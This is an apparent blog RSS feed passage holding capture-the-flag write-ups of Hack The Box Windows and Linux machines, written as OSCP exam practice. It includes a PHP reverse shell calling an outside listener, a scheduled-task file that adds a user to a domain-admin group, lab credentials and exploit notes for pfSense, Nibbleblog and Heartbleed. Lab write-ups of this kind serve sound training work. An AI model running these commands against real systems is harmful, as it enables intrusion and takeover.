class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0821.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The description said people were only added in emergencies and that the group could access the domain controller administrators group. According to the write-up, Site_Admin had been added directly as a member of the domain controller administrators group. In other words, users added to this group would have the same privileges as domain administrators. Lois could add users to it, so I only needed to construct a command that added the current user, awallace.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; Set-Content -Path &lt;span class="s1"&gt;&amp;#39;\program files\keepmeon\3.bat&amp;#39;&lt;/span&gt; -Value &lt;span class="s1"&gt;&amp;#39;net group site_admin awallace /add /domain&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; cat &lt;span class="s1"&gt;&amp;#39;\program files\keepmeon\3.bat&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Then I just had to keep watching.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; net group Site_Admin /domain &lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I started waiting again. I was beginning to doubt whether it really ran every five minutes, because my 1.bat hadn&amp;rsquo;t created netcat.exe. The most likely explanation was that the network connection failed, so the file was never downloaded. To test that theory—and because I wanted to know whether the task was running at all—I wrote another file.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; Set-Content -Path &lt;span class="s1"&gt;&amp;#39;C:\program files\keepmeon\4.bat&amp;#39;&lt;/span&gt; -Value &lt;span class="s1"&gt;&amp;#39;echo &amp;#34;1&amp;#34; &amp;gt; 1.txt&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I&amp;rsquo;d previously gotten an error when using &amp;gt; to write to a file, but it was still worth testing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0822.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I waited a long time and still saw nothing. I shut the box down, started it again, and repeated the previous steps.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0823.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;netcat was created, which meant the script had run successfully.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0824.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was still no result, but in fact&amp;hellip;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0825.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could already access the flag.&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;I left the box running for the moment. After all, I&amp;rsquo;d written a BAT file containing a reverse shell, so I wanted to wait a little longer and shut it down if nothing happened. This box was incredibly difficult. Looking back after finishing it, it almost seemed manageable, but while I was fumbling around without a clear direction, none of these ideas came to mind. Some directories, for example, simply had to be searched over and over. The attack chain and the supporting evidence were both very complete, but the box was still brutally hard. I didn&amp;rsquo;t build a single tunnel during this attempt; all the lateral movement used native commands from inside the network. Even so, it wasn&amp;rsquo;t that cumbersome. Once I had control of DC01, I could keep moving laterally from there. This was an extremely useful box for learning.&lt;/p&gt;&#10;&lt;p&gt;There were three boxes left at this point, but I decided not to continue. For one thing, I&amp;rsquo;d already registered for OSCP and needed to start working through the labs. For another, the more boxes I completed, the harder they became. A single box could take me one or two days. I planned to try the OSCP labs first and see how difficult they were.&lt;/p&gt;&#10;</description></item><item><title>Hack The Box: Linux Box Notes</title><link>http://xtpol.com/p/hackthebox-linux-boxes/</link><pubDate>Sun, 10 Nov 2024 15:15:00 +0800</pubDate><guid>http://xtpol.com/p/hackthebox-linux-boxes/</guid><description>&lt;p&gt;These notes cover most of the Hack The Box machines relevant to OSCP and mostly follow my own thought process.&lt;/p&gt;&#10;&lt;h2 id="1sense"&gt;&lt;a href="#1sense" class="header-anchor"&gt;&lt;/a&gt;1.sense&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;(The machine has been shut down, but it looked roughly like this.)&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0001.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0002.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Found a password at https://10.10.10.60/system-users.txt&lt;/p&gt;&#10;&lt;p&gt;The default account/password is admin:pfsense&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0003.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The current username and password are rohit/pfsense&lt;/p&gt;&#10;&lt;p&gt;WhatWeb did not identify the technology. I searched the page source for &lt;code&gt;sense&lt;/code&gt; and discovered that the target was running pfSense, which led me to the steps below.&lt;/p&gt;&#10;&lt;p&gt;After logging in successfully, the home page shows version 2.1.3-RELEASE&lt;/p&gt;&#10;&lt;p&gt;There was a problem with the exploit.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0004.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The source code could not be used directly, so I modified it to construct the payload.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0005.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;SSL was probably enabled, which caused the request to fail. I worked around it by making the request manually, putting the cookie into the code, and adjusting the script. This requires some familiarity with Python.&lt;/p&gt;&#10;&lt;p&gt;Visiting it triggered a reverse shell directly. The machine has been shut down, so there is no screenshot.&lt;/p&gt;&#10;&lt;p&gt;Two flags:&lt;/p&gt;&#10;&lt;p&gt;/home/rohit/user.txt&lt;/p&gt;&#10;&lt;p&gt;/root/root.txt&lt;/p&gt;&#10;&lt;p&gt;Beginner difficulty.&lt;/p&gt;&#10;&lt;h2 id="2nibbles"&gt;&lt;a href="#2nibbles" class="header-anchor"&gt;&lt;/a&gt;2.Nibbles&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0006.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Start with a simple scan.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0007.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Fingerprinting.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0008.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0009.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Found the default credentials.&lt;/p&gt;&#10;&lt;p&gt;admin/nibbles&lt;/p&gt;&#10;&lt;p&gt;kali comes with an msf exploit script, but for oscp you generally do not use msf scripts.&lt;/p&gt;&#10;&lt;p&gt;I found a github script, and the vulnerability description also makes it possible to build the script yourself.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/dix0nym/CVE-2015-6967" target="_blank" rel="noopener"&#10; &gt;https://github.com/dix0nym/CVE-2015-6967&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0010.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I read through the code. It mainly uploads a file through admin.php?controller=plugins&amp;amp;action=config&amp;amp;plugin=my_image&lt;/p&gt;&#10;&lt;p&gt;Then visit it to execute the file. A php file that launches a reverse shell is enough.&lt;/p&gt;&#10;&lt;p&gt;&amp;lt;?php exec(&amp;ldquo;bash -c &amp;rsquo;exec bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.19/9999 &amp;lt;&amp;amp;1&amp;rsquo;&amp;rdquo;);?&amp;gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0011.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Received a shell as nibbler.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.75/nibbleblog/content/" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.75/nibbleblog/content/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This was a directory traversal point. Rather than reading every file, I went straight for the configuration file, but Nibbleblog&amp;rsquo;s permission restrictions prevented me from reading it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0012.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found three possibilities. The most obvious exploit should be the last one, but I still tried them one by one.&lt;/p&gt;&#10;&lt;p&gt;First, create a tty.&lt;/p&gt;&#10;&lt;p&gt;python3 -c &amp;lsquo;import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)&amp;rsquo;&lt;/p&gt;&#10;&lt;p&gt;We do not know the password, so leave this one for now.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0013.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;.nano contained nothing, so let&amp;rsquo;s go straight to the final option.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0014.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Just escalate privileges directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0015.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Privilege escalation complete. This was also beginner level; it was mainly about becoming familiar with the various operations.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0016.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h2 id="3solidstate"&gt;&lt;a href="#3solidstate" class="header-anchor"&gt;&lt;/a&gt;3.solidstate&#10;&lt;/h2&gt;&lt;p&gt;I finished the box, but I&amp;rsquo;m borrowing someone else&amp;rsquo;s screenshot here because parts of my approach had problems.&lt;/p&gt;&#10;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0017.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;On port 80 I only found an email-sending interface. I looked around for ages and found nothing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0018.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had never dealt with nntp or james-admin before.&lt;/p&gt;&#10;&lt;p&gt;smtp probably would not require a login because there was no need to send email, so at the time I focused on pop3.&lt;/p&gt;&#10;&lt;p&gt;Testing suggested that &lt;a class="link" href="mailto:webadmin@solid-state-security.com" &gt;webadmin@solid-state-security.com&lt;/a&gt; existed, but I did not know the password. I spent most of my time trying to find the pop3 password for &lt;a class="link" href="mailto:webadmin@solid-state-security.com" &gt;webadmin@solid-state-security.com&lt;/a&gt;.&lt;/p&gt;&#10;&lt;p&gt;Later, I found an exploit.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0019.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0020.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The modified script executed successfully, but according to the description, someone had to log in over ssh before the command I inserted would execute. The command I inserted launched a reverse shell.&lt;/p&gt;&#10;&lt;p&gt;So this route would not work.&lt;/p&gt;&#10;&lt;p&gt;This was my first blind spot: james remote admin on port 4555.&lt;/p&gt;&#10;&lt;p&gt;While reading the previous python script, I noticed that it defined the credentials root/root at the start.&lt;/p&gt;&#10;&lt;p&gt;The script also depended on these weak credentials to execute successfully. In other words, it logged in to port 4555 with these credentials.&lt;/p&gt;&#10;&lt;p&gt;The screenshot of the commands run after connecting directly to 4555 with telnet is gone. Roughly speaking, enter the username and password, then type help.&lt;/p&gt;&#10;&lt;p&gt;It displays many commands, including one for listing accounts. You can change the passwords for those accounts, then log in over pop3 and read the received emails. Just reset all of their passwords.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0021.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Check them one by one.&lt;/p&gt;&#10;&lt;p&gt;I eventually found a password in mindy&amp;rsquo;s account.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0022.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The basic pop3 commands are all available online.&lt;/p&gt;&#10;&lt;p&gt;At this point I had a foothold, so privilege escalation came next. I also made a mistake during privilege escalation and checked someone else&amp;rsquo;s write-up.&lt;/p&gt;&#10;&lt;p&gt;The login succeeded. As a small aside, remember how the reverse shell required someone to log in? The other listener happened to receive it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0023.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Just stop the listener.&lt;/p&gt;&#10;&lt;p&gt;I used this guide to escape rbash. It is very detailed.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://xz.aliyun.com/t/7642?time__1311=n4%2BxnD0DyDuDgDfxGqP05fbWDO8ipm4eG%3DKQO4D" target="_blank" rel="noopener"&#10; &gt;https://xz.aliyun.com/t/7642?time__1311=n4%2BxnD0DyDuDgDfxGqP05fbWDO8ipm4eG%3DKQO4D&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;ssh &lt;a class="link" href="mailto:mindy@10.10.10.51" &gt;mindy@10.10.10.51&lt;/a&gt; -t &amp;ldquo;bash &amp;ndash;noprofile&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;I ran into many problems while escalating privileges.&lt;/p&gt;&#10;&lt;p&gt;My approach was to start with sudo, but sudo was unavailable, and I did not know the root password needed to switch users with su.&lt;/p&gt;&#10;&lt;p&gt;I checked suid and found nothing. I also checked cron. None of the usual privilege-escalation paths turned up anything.&lt;/p&gt;&#10;&lt;p&gt;I then searched for files and only found /opt/tmp.py. This file was highly suspicious, but at the time I could not find anything linked to it. I added os.system(&amp;ldquo;id&amp;rdquo;) to check its privileges, but I could not determine whether the file was run by a scheduled task.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0024.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Obviously, it could only have the current user&amp;rsquo;s privileges, but I genuinely could not determine whether it was a scheduled task.&lt;/p&gt;&#10;&lt;p&gt;debian9 4.9.0-3-686-pae also had no privilege-escalation vulnerabilities at all.&lt;/p&gt;&#10;&lt;p&gt;I had already turned my attention to /bin/ under the user&amp;rsquo;s directory because it also had 777 permissions and was owned by root, but in practice I could not use sudo.&lt;/p&gt;&#10;&lt;p&gt;Only after reading a write-up did I discover that /opt/tmp.py was run by a scheduled task. I checked several write-ups; they found it using &lt;a class="link" href="https://github.com/DominicBreuker/pspy" target="_blank" rel="noopener"&#10; &gt;pspy&lt;/a&gt; or &lt;a class="link" href="https://linpeas.sh/" target="_blank" rel="noopener"&#10; &gt;https://linpeas.sh/&lt;/a&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0025.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Just write something that launches a reverse shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0026.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had actually collected all these scripts before, but never developed the habit of using them. My thought process was still flawed, though this did help me improve it.&lt;/p&gt;&#10;&lt;h2 id="4node"&gt;&lt;a href="#4node" class="header-anchor"&gt;&lt;/a&gt;4.Node&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0027.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0028.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I started with the web application. It was built with node.js, and I found several usernames worth noting down.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0029.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I went through the js files and found two endpoints.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.58:3000/api/users/" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.58:3000/api/users/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.58:3000/api/users/latest" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.58:3000/api/users/latest&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0030.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Why did these three people take longer to appear on the home page? At first I thought their images were loading slowly over AJAX, but the real reason caught me by surprise.&lt;/p&gt;&#10;&lt;p&gt;There is actually a tool that can find these quickly, jsfinder, but oscp generally does not allow automated scripts like this, so for now I am reviewing them manually.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0031.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Only the last one did not turn up.&lt;/p&gt;&#10;&lt;p&gt;myP14ceAdm1nAcc0uNT manchester&lt;/p&gt;&#10;&lt;p&gt;tom spongebob&lt;/p&gt;&#10;&lt;p&gt;mark snowflake&lt;/p&gt;&#10;&lt;p&gt;Try each one against ssh and the website.&lt;/p&gt;&#10;&lt;p&gt;Only the administrator can download the backup. This endpoint is also present in the front-end js, but it requires authentication: /api/admin/backup&lt;/p&gt;&#10;&lt;p&gt;After decoding the backup file from base64, I found that it was a binary file. I tried many methods but could not unpack it.&lt;/p&gt;&#10;&lt;p&gt;Eventually I discovered that it was a zip file.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0032.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Decode the base64 into a file, then unzip it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0033.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0034.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;app.js contains the mongodb password, and ssh can connect directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0035.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;mark:5AYRft73VtFpc84k&lt;/p&gt;&#10;&lt;p&gt;This time I uploaded a script first to escalate privileges. None of the standard privilege-escalation paths worked, so I checked the kernel and found an exp. This one was the best match.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0036.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Upload it, compile it, and run it to obtain root privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0037.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h2 id="5valentine"&gt;&lt;a href="#5valentine" class="header-anchor"&gt;&lt;/a&gt;5.valentine&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0038.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0039.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found an interesting file in the dev directory. After decoding it, it looked like this.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0040.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was an aes-encrypted key and an rsa private key. It felt like they might be used for an ssh connection, and judging by the name the user should be hype. Let&amp;rsquo;s try it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0041.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0042.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;All right, it is asking us for the key&amp;rsquo;s password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0043.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Even rockyou did not contain the password. It felt like there was still something in the web page.&lt;/p&gt;&#10;&lt;p&gt;Judging from the notes, something needed to be decoded: make sure encoding and decoding are done on the client, fix this before going live, and do not use any encoder or decoder until it is complete.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0044.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Honestly, I was completely confused. I focused on the image, thinking it might be a technical issue, but found that the image contained nothing at all.&lt;/p&gt;&#10;&lt;p&gt;I pinned my hopes on directory brute-forcing. It was genuinely slow, but later I did find several encrypted php files.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0045.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had actually forgotten the most important step here. Sometimes an important hint is a directory you can test manually.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0046.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;In practice, there was nothing there either. I had no ideas left.&lt;/p&gt;&#10;&lt;p&gt;I eventually had to check a write-up and discovered something I had never learned before: scanning with &amp;ndash;script vuln in nmap.&lt;/p&gt;&#10;&lt;p&gt;It scans for vulnerabilities, and one of the vulnerabilities it mentioned was Heartbleed. I knew nothing about it, so this broadened my thinking.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0047.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://stackabuse.com/how-to-exploit-the-heartbleed-bug/?ref=benheater.com" target="_blank" rel="noopener"&#10; &gt;https://stackabuse.com/how-to-exploit-the-heartbleed-bug/?ref=benheater.com&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# This is the packet that triggers the memory over-read.&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# The heartbeat protocol works by returning to the client the same data that was sent.&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# That is, if we send &amp;ldquo;abcd&amp;rdquo; the server will return &amp;ldquo;abcd&amp;rdquo;.&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# The flaw is triggered when we tell the server that we are sending a message that is X bytes long&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# (64 kB in this case), but we send a shorter message; OpenSSL won&amp;rsquo;t check if we really sent the X bytes of data.&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# The server will store our message, then read the X bytes of data from its 